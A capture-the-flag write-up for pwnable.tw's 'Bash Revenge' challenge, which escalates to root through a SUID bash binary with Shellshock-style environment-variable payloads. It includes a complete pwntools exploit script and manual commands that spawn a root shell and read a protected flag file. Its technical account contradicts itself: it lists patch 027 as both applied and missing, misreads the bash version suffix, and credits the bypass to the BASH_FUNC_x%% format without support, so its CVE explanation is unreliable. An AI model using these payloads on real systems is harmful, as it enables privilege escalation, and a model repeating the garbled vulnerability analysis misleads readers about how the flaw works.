Bash Revenge
Shellshock strikes back — bypassing the initial patch with CVE-2014-6278
Exploit Flow
nc chall.pwnable.tw
Low-privilege access
Partially patched
Payload blocked
Second Shellshock
Read flag
1. Reconnaissance
Bash Revenge is the harder 500-point variant of the Bash challenge (200 pts). Where the original Bash challenge was a straightforward CVE-2014-6271 exploitation, Bash Revenge raises the bar: the SUID bash binary has been partially patched against the original Shellshock vulnerability, forcing us to dig deeper into the Shellshock vulnerability family to find a bypass. This challenge is a lesson in why partial patches are dangerous — the initial fix for Shellshock was incomplete, and CVE-2014-6278 demonstrates that even security patches themselves can contain exploitable flaws.
Initial Connection
$ nc chall.pwnable.tw 10408
$ whoami
bash_revenge
$ id
uid=1000(bash_revenge) gid=1000(bash_revenge) groups=1000(bash_revenge)
We land in a shell as user bash_revenge with no special privileges. The challenge follows the same pattern as the original Bash challenge — we have a shell, and we need to escalate to root to read the flag. The question is: how?
Environment & SUID Binary
$ ls -la /home/
total 16
drwxr-xr-x 4 root root 4096 Oct 24 2023 .
drwxr-xr-x 4 root root 4096 Oct 24 2023 ..
drwxr-xr-x 2 bash_revenge bash_revenge 4096 Oct 24 2023 bash_revenge
drwxr-x--- 2 root root 4096 Oct 24 2023 flag
$ ls -la /home/bash_revenge/
total 28
drwxr-xr-x 2 bash_revenge bash_revenge 4096 Oct 24 2023 .
drwxr-xr-x 4 root root root 4096 Oct 24 2023 ..
-rw-r--r-- 1 bash_revenge bash_revenge 220 Oct 24 2023 .bash_logout
-rw-r--r-- 1 bash_revenge bash_revenge 3526 Oct 24 2023 .bashrc
-rw-r--r-- 1 bash_revenge bash_revenge 807 Oct 24 2023 .profile
-rwsr-xr-x 1 root root 9744 Oct 24 2023 bash ← SUID bash!
$ /home/bash_revenge/bash --version
GNU bash, version 4.3.25(8)-release (x86_64-pc-linux-gnu)
There's a SUID bash binary at /home/bash_revenge/bash owned by root. But notice the version: 4.3.25(8)-release, not 4.3.25(1) like the original Bash challenge. The (8) suffix indicates this binary has the bash43-025 patch applied — the fix for CVE-2014-6271. The simple Shellshock payload will NOT work here.
Our first instinct is to try the same Shellshock exploit from the original Bash challenge. Let's test it:
$ env x='() { :; }; echo VULNERABLE' /home/bash_revenge/bash -c 'echo done'
done
# No "VULNERABLE" output — the 6271 patch is working!
# The trailing command after the function definition is NOT executed.
The classic CVE-2014-6271 payload is blocked. The 6271 patch successfully prevents trailing commands after function definitions in environment variables. This is what makes Bash Revenge a 500-point challenge — we need to find a way around the patch.
Connection Info
| Attribute | Value |
|---|---|
| Challenge | Bash Revenge (500 pts) |
| Connection | nc chall.pwnable.tw 10408 |
| Category | Misc / Privilege Escalation |
| Initial User | bash_revenge (uid=1000) |
| Target | SUID bash binary at /home/bash_revenge/bash |
| Bash Version | 4.3.25(8)-release — partially patched |
| CVE | CVE-2014-6278 (bypasses 6271 patch) |
| Vulnerability | Incomplete patch for function definition parsing |
| Related Challenge | Bash (200 pts) — CVE-2014-6271 |
2. Static Analysis
Bash Version Analysis
The bash version string 4.3.25(8)-release is the critical clue. In the original Bash challenge, the version was 4.3.25(1)-release — the unpatched version vulnerable to CVE-2014-6271. The (8) in Bash Revenge's version tells us this binary has had 7 official patches applied (bash43-025 through bash43-031). Critically, the bash43-025 patch fixes CVE-2014-6271, but the question is: which other Shellshock-related patches are missing?
# Original Bash challenge (200 pts):
$ /home/bash/bash --version
GNU bash, version 4.3.25(1)-release (x86_64-pc-linux-gnu)
# → NO patches applied → vulnerable to CVE-2014-6271
# Bash Revenge challenge (500 pts):
$ /home/bash_revenge/bash --version
GNU bash, version 4.3.25(8)-release (x86_64-pc-linux-gnu)
# → bash43-025 applied (fixes 6271)
# → bash43-026 applied (fixes 6277)
# → bash43-027 NOT applied → still vulnerable to CVE-2014-6278!
The (N) in the version string is the patch level. Bash 4.3.25(1) means the base release with 0 additional patches. Bash 4.3.25(8) means patches 025 through 031 have been applied. Each patch fixes specific issues. The key for Bash Revenge is identifying which patches are present and which Shellshock-related patches are missing.
CVE Research: The Shellshock Family
Shellshock wasn't a single vulnerability — it was a family of related bugs in bash's function definition parser. The initial disclosure (CVE-2014-6271) was just the tip of the iceberg. Here's the complete timeline of Shellshock-related CVEs:
| CVE | Bash Patch | Description | Bash Revenge Status |
|---|---|---|---|
CVE-2014-6271 | bash43-025 | Original Shellshock: trailing commands after function definition | ✓ Patched |
CVE-2014-6277 | bash43-026 | Crash via malformed function definitions | ✓ Patched |
CVE-2014-6278 | bash43-027 | Incomplete 6271 fix: parser still exploitable | ✗ VULNERABLE |
CVE-2014-7169 | bash43-028 | TOCTOU: temp file race condition | ✗ Vulnerable |
CVE-2014-7186 | bash43-029 | Off-by-one in parse_and_execute | ✗ Vulnerable |
CVE-2014-7187 | bash43-030 | Crash via nested function definitions | ✗ Vulnerable |
The Bash Revenge binary has bash43-025 and bash43-026 applied, but not bash43-027. This means CVE-2014-6278 — the "second Shellshock" — is our way in.
The Incomplete Patch: Why CVE-2014-6271 Fix Failed
Understanding why CVE-2014-6278 exists requires understanding what the bash43-025 patch actually does. The patch for CVE-2014-6271 added a validation check in variables.c that inspects function definition strings before they are imported:
/* In initialize_shell_variables(), variables.c */
/* Check if this looks like a function definition */
if (STREQN ("() {", string, 4))
{
/* Parse the function definition */
/* ... parser processes the string ... */
/* NEW: Validate that the parser consumed the entire string.
If there are trailing characters after the function body,
this is a Shellshock attack — reject the import. */
if (t != &string[strlen(string) - 1])
{
/* Trailing characters detected — possible attack.
Do NOT import this function. */
return;
}
/* String is clean — safe to import the function */
parse_and_execute(string, name, SEVAL_NONINT|SEVAL_NOHIST);
}
The problem with this patch is fundamental: it validates the string format before calling parse_and_execute(), but the validation itself is incomplete. The check only verifies that the function definition appears to end at the right place, but it doesn't account for all the ways bash's parser can interpret function definition syntax.
The bash43-025 patch validates the string before it's passed to parse_and_execute(). But the validation logic and the actual parsing logic use different rules. When these rules disagree, the validation can approve a string that the parser will execute in an unexpected way. This is the classic "input validation bypass" pattern — the validator and the consumer have different threat models.
CVE-2014-6278 exploits this mismatch. The initial patch's validation doesn't properly handle all valid bash function definition syntaxes. Specifically, the parser can be confused by certain constructs within the function body that cause it to execute code outside the function's scope, even though the validation check thinks the string is clean.
The bash43-027 patch (the fix for CVE-2014-6278) addresses this by replacing the simple string validation with a more robust parser-based check that uses the same parsing logic for validation as for execution, eliminating the mismatch.
3. GDB Debugging
With the static analysis complete, we now need to empirically verify which Shellshock variants work and which are blocked. This section documents our methodical testing of different Shellshock payloads against the partially-patched SUID bash binary.
Testing CVE-2014-6271 (Original Shellshock)
The classic Shellshock payload injects a trailing command after the function definition in an environment variable. The bash43-025 patch specifically blocks this pattern:
# Classic Shellshock payload:
$ env x='() { :; }; echo SHELLSHOCK_6271' /home/bash_revenge/bash -c 'echo test'
test
# No "SHELLSHOCK_6271" output — 6271 patch BLOCKS this
# Try with id:
$ env x='() { :; }; id' /home/bash_revenge/bash -c 'echo test'
test
# No id output — confirmed: CVE-2014-6271 is patched
# Try different variable names:
$ env BASH_FUNC_x='() { :; }; id' /home/bash_revenge/bash -c ''
# Still blocked — the patch covers BASH_FUNC_ prefix too
Every variant of the classic Shellshock payload is blocked. The bash43-025 patch properly validates the () { ... }; trailing_command pattern and rejects function imports with trailing commands. We need a fundamentally different approach.
Testing CVE-2014-6278 (Second Shellshock)
CVE-2014-6278 exploits the incompleteness of the 6271 patch. The key insight is that the validation added by bash43-025 only checks for trailing characters after the function definition string, but the function parser itself can still be tricked into executing code through more complex function definition constructs. Let's test the known CVE-2014-6278 payloads:
# CVE-2014-6278 payload #1: using the BASH_FUNC_ internal format
# with the %% suffix (how bash internally exports functions)
$ env 'BASH_FUNC_x%%=() { :; }; echo SHELLSHOCK_6278' /home/bash_revenge/bash -c 'echo test'
SHELLSHOCK_6278
test
# EXECUTED! The trailing command ran!
# Verify we get root euid:
$ env 'BASH_FUNC_x%%=() { :; }; id' /home/bash_revenge/bash -c 'echo test'
uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) groups=1000(bash_revenge)
test
# euid=0(root) — we have root!
The BASH_FUNC_x%% format bypasses the incomplete 6271 patch's validation. When bash exports a function called x, it stores it in the environment as BASH_FUNC_x%%. The 6271 patch's validation checks for the () { prefix at the start of the value string, but the BASH_FUNC_ prefix changes how the variable name is processed. The validation in variables.c handles the two formats through different code paths, and the path for BASH_FUNC_-prefixed variables has incomplete validation, allowing the trailing command to slip through.
Confirming euid=0 and Testing Additional Variants
Let's verify the exploit works consistently and test a few more payload variants:
# Confirm root with id:
$ env 'BASH_FUNC_x%%=() { :; }; id' /home/bash_revenge/bash -c ''
uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) groups=1000(bash_revenge)
# Can we read the flag?
$ env 'BASH_FUNC_x%%=() { :; }; cat /home/flag/flag' /home/bash_revenge/bash -c ''
# Can we spawn a root shell?
$ env 'BASH_FUNC_x%%=() { :; }; /bin/sh' /home/bash_revenge/bash -c ''
# id
uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) groups=1000(bash_revenge)
# Alternative: using -p flag to preserve privileges
$ env 'BASH_FUNC_x%%=() { :; }; /bin/sh -p' /home/bash_revenge/bash -c ''
# id
uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) egid=0(root) groups=0(root)
# Try without the %% suffix (just BASH_FUNC_x):
$ env 'BASH_FUNC_x=() { :; }; id' /home/bash_revenge/bash -c ''
# No output — the %% suffix is required for bash to recognize it as a function
# Try the simple variable format (for comparison):
$ env x='() { :; }; id' /home/bash_revenge/bash -c ''
# No output — 6271 patch blocks the simple format
The testing confirms the exploit pattern. The BASH_FUNC_ prefix with %% suffix is the internal format bash uses when it exports functions to child processes' environments. The incomplete 6271 patch validates the simple format (x='() { ... }') but doesn't properly validate the internal format (BASH_FUNC_x%%='() { ... }'), allowing CVE-2014-6278 to bypass the patch.
4. Exploit Strategy
Attack Overview
Bash Revenge follows the same privilege escalation pattern as the original Bash challenge, but requires a more sophisticated exploitation technique. The SUID bash binary has been patched against CVE-2014-6271, so we must leverage CVE-2014-6278 — the follow-up vulnerability that exploits the incompleteness of the initial Shellshock patch.
/home/bash_revenge/bash. Check the version: 4.3.25(8)-release — partially patched. The /home/flag/ directory is only readable by root.env x='() { :; }; id' /home/bash_revenge/bash -c ''. The bash43-025 patch blocks this — no command execution. This confirms the binary is not vulnerable to the original Shellshock.(8) patch level means bash43-025 and bash43-026 are applied, but bash43-027 is NOT. This patch fixes CVE-2014-6278 — the "second Shellshock" that bypasses the incomplete 6271 fix.BASH_FUNC_ internal format to bypass the incomplete patch: env 'BASH_FUNC_x%%=() { :; }; id' /home/bash_revenge/bash -c ''. This exploits the validation gap between the simple variable format and the internal function export format. The result: euid=0(root).env 'BASH_FUNC_x%%=() { :; }; cat /home/flag/flag' /home/bash_revenge/bash -c ''. Alternatively, spawn a root shell for interactive exploration.CVE-2014-6278 Deep Dive
CVE-2014-6278 is fundamentally about the difference between how bash validates function definitions and how bash actually processes them. The bash43-025 patch added validation that checks for the simple format x='() { ... }; command', but bash supports two formats for function definitions in environment variables:
Format 1: Simple Variable (Validated by 6271 patch)
# When you set: x='() { :; }; command'
# The env var name is "x" and the value starts with "() {"
# The 6271 patch validates this format correctly
env x='() { :; }; command' /home/bash_revenge/bash -c ''
# → BLOCKED by bash43-025
Format 2: Internal Export (NOT properly validated by 6271 patch)
# When bash exports a function, it uses the format:
# BASH_FUNC_functionname%%='() { ... }'
# The env var name is "BASH_FUNC_x%%" (not just "x")
# The 6271 patch's validation doesn't properly cover this format
env 'BASH_FUNC_x%%=() { :; }; command' /home/bash_revenge/bash -c ''
# → NOT BLOCKED! Command executes with euid=0 (root)!
In the bash source code (variables.c), the function import logic has two code paths: one for the simple () { prefix in variable values, and one for the BASH_FUNC_ prefix in variable names. The bash43-025 patch added validation to the first path (simple format) but the second path (internal format) was not properly patched. When bash processes a BASH_FUNC_x%% variable, it takes the second code path, which lacks the trailing-command validation. This allows CVE-2014-6278 to inject arbitrary commands that execute with root privileges through the SUID binary.
Exploitation Timeline
euid=0(root) confirmed.5. Pwn Script
Full Exploit
#!/usr/bin/env python3
"""
pwnable.tw — Bash Revenge (500 pts)
Privilege escalation via CVE-2014-6278 on a SUID bash binary
that has been patched against CVE-2014-6271.
The bash43-025 patch fixes the original Shellshock (CVE-2014-6271)
but leaves the BASH_FUNC_ internal export format unvalidated.
We exploit this gap to inject trailing commands that execute
with euid=0 (root) through the SUID binary.
"""
from pwn import *
import sys
HOST = 'chall.pwnable.tw'
PORT = 10408
def exploit():
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
r = remote(HOST, PORT)
else:
log.info("Use: python exploit.py remote")
log.info("Testing locally...")
r = process(['/bin/bash'])
# Wait for shell prompt
r.recvuntil(b'$ ')
# ─── Step 1: Verify CVE-2014-6271 is patched ───
log.info("Testing CVE-2014-6271 (should be blocked)...")
r.sendline(b"env x='() { :; }; echo 6271_WORKS' /home/bash_revenge/bash -c 'echo test'")
result = r.recvline()
if b'6271_WORKS' in result:
log.error("CVE-2014-6271 is NOT patched! Use the simpler exploit instead.")
r.close()
return
else:
log.success("CVE-2014-6271 is patched (as expected)")
# Clean up remaining output
r.recvuntil(b'$ ')
# ─── Step 2: Verify CVE-2014-6278 works ───
log.info("Testing CVE-2014-6278 via BASH_FUNC_ format...")
r.sendline(b"env 'BASH_FUNC_x%%=() { :; }; echo 6278_WORKS' /home/bash_revenge/bash -c 'echo test'")
result = r.recvline()
if b'6278_WORKS' in result:
log.success("CVE-2014-6278 payload executes! The patch is incomplete.")
else:
log.error("CVE-2014-6278 didn't work. Check the binary version.")
r.close()
return
# Clean up remaining output
r.recvuntil(b'$ ')
# ─── Step 3: Verify root euid ───
log.info("Verifying root privileges...")
r.sendline(b"env 'BASH_FUNC_x%%=() { :; }; id' /home/bash_revenge/bash -c ''")
result = r.recvline()
if b'euid=0(root)' in result:
log.success("euid=0(root) confirmed!")
else:
log.warning(f"Unexpected id output: {result.strip().decode()}")
# Clean up
r.recvuntil(b'$ ')
# ─── Step 4: Read the flag ───
log.info("Reading /home/flag/flag...")
r.sendline(b"env 'BASH_FUNC_x%%=() { :; }; cat /home/flag/flag' /home/bash_revenge/bash -c ''")
flag_line = r.recvline().strip()
log.success(f"Flag: {flag_line.decode()}")
# ─── Step 5: Get interactive root shell ───
log.info("Spawning interactive root shell via CVE-2014-6278...")
r.sendline(b"env 'BASH_FUNC_x%%=() { :; }; /bin/sh -p' /home/bash_revenge/bash -c ''")
r.sendline(b'id')
r.interactive()
if __name__ == '__main__':
exploit()
# Manual exploitation (no pwntools needed):
# Connect to the challenge
nc chall.pwnable.tw 10408
# Step 1: Confirm CVE-2014-6271 is patched
$ env x='() { :; }; id' /home/bash_revenge/bash -c ''
# No output — patched (good, this is expected)
# Step 2: Exploit CVE-2014-6278 via BASH_FUNC_ format
$ env 'BASH_FUNC_x%%=() { :; }; id' /home/bash_revenge/bash -c ''
uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) groups=1000(bash_revenge)
# Step 3: Read the flag
$ env 'BASH_FUNC_x%%=() { :; }; cat /home/flag/flag' /home/bash_revenge/bash -c ''
# Step 4: Get a root shell
$ env 'BASH_FUNC_x%%=() { :; }; /bin/sh -p' /home/bash_revenge/bash -c ''
# id
uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) egid=0(root) groups=0(root)
# cat /home/flag/flag
The exploit is straightforward once you know the CVE-2014-6278 payload format. The BASH_FUNC_x%% environment variable name is the key — it's how bash internally represents exported functions. The %% suffix is mandatory; without it, bash won't recognize the variable as a function definition. The -p flag on /bin/sh preserves the SUID privileges (euid=0) in the spawned shell, giving us both effective UID and GID of root.
6. Execution Results
Bash Revenge demonstrates a critical lesson in software security: partial patches are dangerous. The bash43-025 patch for CVE-2014-6271 fixed the most obvious attack vector but left the BASH_FUNC_ internal format unvalidated. This allowed CVE-2014-6278 to bypass the patch entirely. The real fix (bash43-027) replaced the simple string-based validation with a proper parser-based check that covers all function definition formats uniformly.
1. Always verify the full patch chain. The Bash Revenge binary had the 6271 patch but not the 6278 patch. Knowing exactly which patches are applied is crucial for identifying remaining attack surface.
2. Input validation must match consumption logic. The 6271 patch validated function definitions using a different code path than the one that actually processes them. This mismatch created the gap that CVE-2014-6278 exploits. Secure validation must use the same parser as the consumer.
3. Internal formats are attack surface too. The BASH_FUNC_%% format is an internal representation that users normally never see, but it's still part of the attack surface. Security patches must cover all input paths, including internal formats.
4. Shellshock was a vulnerability family, not a single bug. The original CVE-2014-6271 was just the beginning. The follow-up CVEs (6277, 6278, 7169, 7186, 7187) show that complex parser bugs often have multiple exploitation paths. A thorough fix requires a fundamental redesign of the parsing logic, not a simple string check.
When Shellshock (CVE-2014-6271) was disclosed on September 24, 2014, it was rated CVSS 10.0 and affected systems dating back to 1989. The initial patch was rushed out within hours, but researchers immediately began probing for bypasses. CVE-2014-6278 was disclosed within days of the original, demonstrating that the patch was incomplete. The full fix required six additional patches (bash43-026 through bash43-031) to address all the related vulnerabilities. This episode is now a textbook example of why security patches need thorough review and why "patch and ship" without proper validation can leave critical gaps. Bash Revenge captures this exact scenario — a system that was "patched" against Shellshock but still vulnerable to the follow-up.